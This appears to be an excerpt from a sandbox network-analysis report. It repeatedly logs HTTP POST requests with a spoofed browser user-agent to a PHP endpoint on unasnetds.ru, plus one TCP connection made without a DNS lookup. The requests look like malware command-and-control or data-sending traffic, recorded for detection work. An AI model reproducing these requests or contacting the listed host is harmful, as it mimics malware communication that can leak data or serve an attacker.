Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1028Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1740Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1720Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1032Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: unasnetds.ruContent-Length: 1040Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
